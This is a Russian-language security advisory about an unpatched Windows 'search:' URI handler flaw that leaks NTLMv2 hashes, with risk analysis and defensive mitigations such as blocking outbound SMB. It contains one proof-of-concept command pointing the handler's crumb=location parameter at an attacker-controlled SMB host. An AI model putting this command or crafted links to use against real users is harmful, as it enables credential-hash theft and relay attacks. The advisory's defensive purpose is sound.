Исследователи из Huntress опубликовали детали неисправленной уязвимости в обработчике протокола search: в Windows, которая позволяет злоумышленнику получить хеш NTLMv2 жертвы. Проблема аналогична ранее исправленной CVE-2026-33829 в Windows Snipping Tool, однако Microsoft отказалась выпускать исправление, сославшись на то, что уязвимость не достигает порога Important или Critical. Организациям, использующим NTLM-аутентификацию, рекомендуется немедленно применить компенсирующие меры — заблокировать исходящий SMB-трафик и принудительно включить подпись SMB.
Механизм атаки: от URI-обработчика до утечки хеша
Корень проблемы — в том, как Windows обрабатывает URI-схему search:. По данным исследователя Huntress Эндрю Шварца, параметр crumb=location: принимает произвольный UNC-путь без надлежащей валидации. Когда пользователь переходит по специально сформированной ссылке, операционная система инициирует SMB-соединение к серверу, указанному атакующим, и в процессе аутентификации передаёт хеш Net-NTLMv2 жертвы.
Пример команды, демонстрирующей эксплуатацию:
start "" "search:query=test&crumb=location:\\10.0.1.100\share"Вектор атаки требует взаимодействия пользователя: жертва должна перейти по специально сформированной ссылке, встроенной в веб-страницу или электронное письмо, и подтвердить запуск обработчика URI. После этого система автоматически обращается к SMB-ресурсу атакующего, раскрывая хеш.
Связь с ранее исправленными уязвимостями
Описанная проблема является логическим продолжением целого класса уязвимостей, связанных с утечкой NTLM-хешей через URI-обработчики Windows:
- CVE-2026-33829 — аналогичная уязвимость в обработчике
ms-screensketch:(Windows Snipping Tool), где параметрfilePathне проходил валидацию и принимал произвольные UNC-пути. Microsoft исправила эту проблему в апреле 2026 года, классифицировав её как уязвимость спуфинга. - CVE-2023-35636 — использование параметра
crumbдля кражи NTLM-хешей было задокументировано ещё в феврале 2024 года исследователями Varonis в контексте уязвимости Outlook.
По оценке Huntress, новая проблема использует тот же механизм утечки NTLM, приводит к тому же результату (раскрытие Net-NTLMv2-хеша), имеет те же предпосылки для эксплуатации и, предположительно, соответствует рейтингу Moderate. Принципиальное отличие — Microsoft решила не выпускать патч.
Оценка рисков
Захваченный NTLMv2-хеш открывает перед атакующим два основных направления развития атаки:
- Relay-атаки — перенаправление перехваченного хеша на внутренние сервисы для аутентификации от имени жертвы без необходимости его взлома.
- Офлайн-подбор пароля — при использовании слабых паролей хеш Net-NTLMv2 может быть взломан с помощью инструментов вроде hashcat.
Наибольшему риску подвержены корпоративные среды, где NTLM всё ещё используется для аутентификации, а исходящий SMB-трафик не заблокирован на периметре. Стоит подчеркнуть: на момент публикации нет подтверждённых случаев эксплуатации этой уязвимости в реальных атаках, и она не внесена в каталог CISA KEV. Тем не менее наличие публичного PoC и отсутствие патча создают окно возможностей для злоумышленников.
Рекомендации по защите
Поскольку официальное исправление от Microsoft отсутствует и, судя по позиции вендора, не планируется, необходимо реализовать компенсирующие меры на уровне инфраструктуры:
- Заблокировать исходящий SMB-трафик (TCP/445 и TCP/139) на хостах, которым не требуется доступ к внешним файловым ресурсам. Это наиболее эффективная мера, предотвращающая утечку хеша за пределы сети.
- Принудительно включить подпись SMB (SMB Signing) — даже если хеш будет перехвачен внутри сети, его нельзя будет использовать для relay-атак против сервисов с обязательной подписью.
- Отключить NTLM-аутентификацию там, где это возможно, перейдя на Kerberos. Групповая политика
Network security: Restrict NTLMпозволяет поэтапно ограничивать использование NTLM в домене. - Мониторинг аномальных SMB-соединений — настроить оповещения на исходящие SMB-подключения к нетипичным внешним IP-адресам, что может указывать на попытку эксплуатации.
Отказ Microsoft выпускать патч для уязвимости с рейтингом Moderate — не исключительная ситуация, но она перекладывает ответственность за защиту на администраторов. Приоритетным действием должна стать блокировка исходящего SMB на периметре сети — эта мера закрывает не только данную конкретную уязвимость, но и широкий спектр атак, связанных с принудительной NTLM-аутентификацией через UNC-пути. Организациям, всё ещё зависящим от NTLM, стоит рассматривать это как дополнительный аргумент в пользу миграции на Kerberos.